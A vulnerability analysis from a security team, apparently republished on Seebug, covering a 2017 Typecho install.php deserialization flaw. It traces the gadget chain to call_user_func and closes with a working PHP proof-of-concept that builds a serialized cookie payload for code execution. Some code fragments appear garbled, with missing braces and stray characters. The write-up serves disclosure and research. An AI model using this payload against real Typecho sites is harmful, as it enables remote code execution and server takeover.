Author: LoRexxar'@Knownsec 404 Team
Chinese version:

0x01 Foreword

Typecho is a PHP Blogging Platform. Its database includes Mysql,PostgreSQL,SQLite and it is an open-source program under the GPL version 2 license. It uses SVN to do version synchronization.

On October 13, 2017, Typecho revealed a front-end code execution vulnerability. Knownsec 404 Team successfully made recurrence of this vulnerability.

Our security researchers confirmed that this vulnerability can execute code indefinitely and cause getshell.

0x02 Recurrence

Open Typecho

Generate the corresponding payload


Set the appropriate cookie and send the request

phpinfo excuted

0x03 Analysis

The entry point of the vulnerability is in install.php. There are two judgments before entering install.php.

//Determine if it is installed
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/') && empty($_SESSION['typecho'])) {

// Block possible cross-site requests
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {

    $parts = parse_url($_SERVER['HTTP_REFERER']);
    if (!empty($parts['port'])) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";

    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {

Just pass the GET parameter finish and set the referer to the site URL.

Find the entry of the vulnerability - install.php line 232 to line 237

It seems clear that it is a deserialization vulnerability

The problem is how to use it. There should be corresponding magic methods. Only a few of them are more critical


__destruct () is automatically called when the object is destroyed. __Wakeup is automatically called when deserialization, and__toString ()is automatically called when the object is called.

If the deserialization constructed is an array, and the adapter is set to a certain class, the __toString method of the corresponding class can be triggered.

Looking for all toString methods, I only found one class method that can be used for the time being.

It is at line 223, /var/Typecho/Feed.php

Analyze the tostring function

Line 290 calls $ item ['author']-> screenName, which is a private variable of the current class

Line 358 also calls the same variable, which should also be available here

A special magic method __get is mentioned here.__Get will be called when reading the value of an inaccessible property. We can set the item to call the __get magic method at a certain location.

line 269 in /var/Typecho/Request.php may be the only __get method available.

Follow the get function

Finally at line 159 applyFilter function

We found the call_user_func function.

Trace the entire utilization chain - We can control the private variables in the Typecho_Request class by settingitem ['author'], so that both_filter and _params ['screenName'] in the class can be controlled, so is the call_user_func function variable, and the arbitrary code is executed.

Though we constructed the PoC according to all the processes above, the server returned 500 after we sent a request.

Review the code

At the beginning of install.php, ob_start () is called

The explanation of ob_start on is like this.


Because the object injection code above triggers the original exception, which causes ob_end_clean () to execute, the original output will be cleaned in the buffer.

We must think of a way to force exit so the original buffer data will be output.

Here are two ways.
1. Because the call_user_func function is a loop, we can set the array to control the function to be excuted the second time, find an exit and the data in the buffer will be printed out.
2. Another method is to try to cause an error after the command is executed. The statement error will be forced to stop, and ew can get the data in the buffer.

After solving this problem, the entire ROP chain is established.

0x04 PoC

class Typecho_Request
    private $_params = array();
    private $_filter = array();

    public function __construct()
        // $this->_params['screenName'] = 'whoami';
        $this->_params['screenName'] = -1;
        $this->_filter[0] = 'phpinfo';

class Typecho_Feed
    const RSS2 = 'RSS 2.0';
    / ** Define ATOM 1.0 type * /
????const ATOM1 = 'ATOM 1.0';
????/ ** Define RSS time format * /
????const DATE_RFC822 = 'r';
????/ ** Define ATOM time format * /
????const DATE_W3CDTF = 'c';
????/ ** Define line terminator * /
    const EOL = "\n";
    private $_type;
    private $_items = array();
    public $dateFormat;

    public function __construct()
        $this->_type = self::RSS2;
        $item['link'] = '1';
        $item['title'] = '2';
        $item['date'] = 1507720298;
        $item['author'] = new Typecho_Request();
        $item['category'] = array(new Typecho_Request());

        $this->_items[0] = $item;

$x = new Typecho_Feed();
$a = array(
    'host' => 'localhost',
    'user' => 'xxxxxx',
    'charset' => 'utf8',
    'port' => '3306',
    'database' => 'typecho',
    'adapter' => $x,
    'prefix' => 'typecho_'
echo urlencode(base64_encode(serialize($a)));

0x05 References

[1] Typecho official website
[2] Typecho github
[3] Typecho official patch
[4] Typecho install.php deserialization resulting in arbitrary code execution

0x06 Postscript

We received analysis of the same vulnerability from p0 on October 25. Thank you for your submission.

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址: